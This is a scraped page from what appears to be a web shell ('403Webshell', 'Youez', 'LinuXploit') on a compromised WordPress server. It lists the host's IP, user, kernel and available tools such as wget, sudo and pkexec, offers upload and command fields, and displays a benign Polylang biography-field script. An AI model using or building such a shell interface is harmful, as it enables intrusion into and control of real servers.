403Webshell
Server IP : 94.16.115.136  /  Your IP : 216.73.217.106
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux rogerrabbit 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : bkillingseder ( 1001)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/web/www/sites/silentroots/html/wp-content/plugins/polylang/js/build/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/web/www/sites/silentroots/html/wp-content/plugins/polylang/js/build/user.js
/**
 * Adds one biography input field per language in the user profile.
 *
 * @package Polylang
 */

jQuery(
	function ( $ ) {
		// biography
		// FIXME there is probably a more efficient way to do this
		var td = $( '#description' ).parent();
		var d = $( '#description' ).clone();
		var span = td.children( '.description' ).clone();
		td.children().remove();

		$( '.biography' ).each(
			function () {
				lang = $( this ).attr( 'name' ).split( '___' );
				desc = d.clone();
				desc.attr( 'name', 'description_' + lang[0] );
				desc.attr( 'id', 'description_' + lang[0] );
				// Whitelist because description and lang value is already escaped by the side of PHP
				desc.html( $( this ).val() ); // phpcs:ignore WordPressVIPMinimum.JS.HTMLExecutingFunctions.html
				td.append( $( '<div></div>' ).text( lang[1] ) ); // phpcs:ignore WordPressVIPMinimum.JS.HTMLExecutingFunctions.append
				td.append( desc ); // phpcs:ignore WordPressVIPMinimum.JS.HTMLExecutingFunctions.append
			}
		);

		td.append( '<br />' );
		// Whitelist because description come from html code generated by WordPress
		td.append( span ); // phpcs:ignore WordPressVIPMinimum.JS.HTMLExecutingFunctions.append
	}
);


Youez - 2016 - github.com/yon3zu
LinuXploit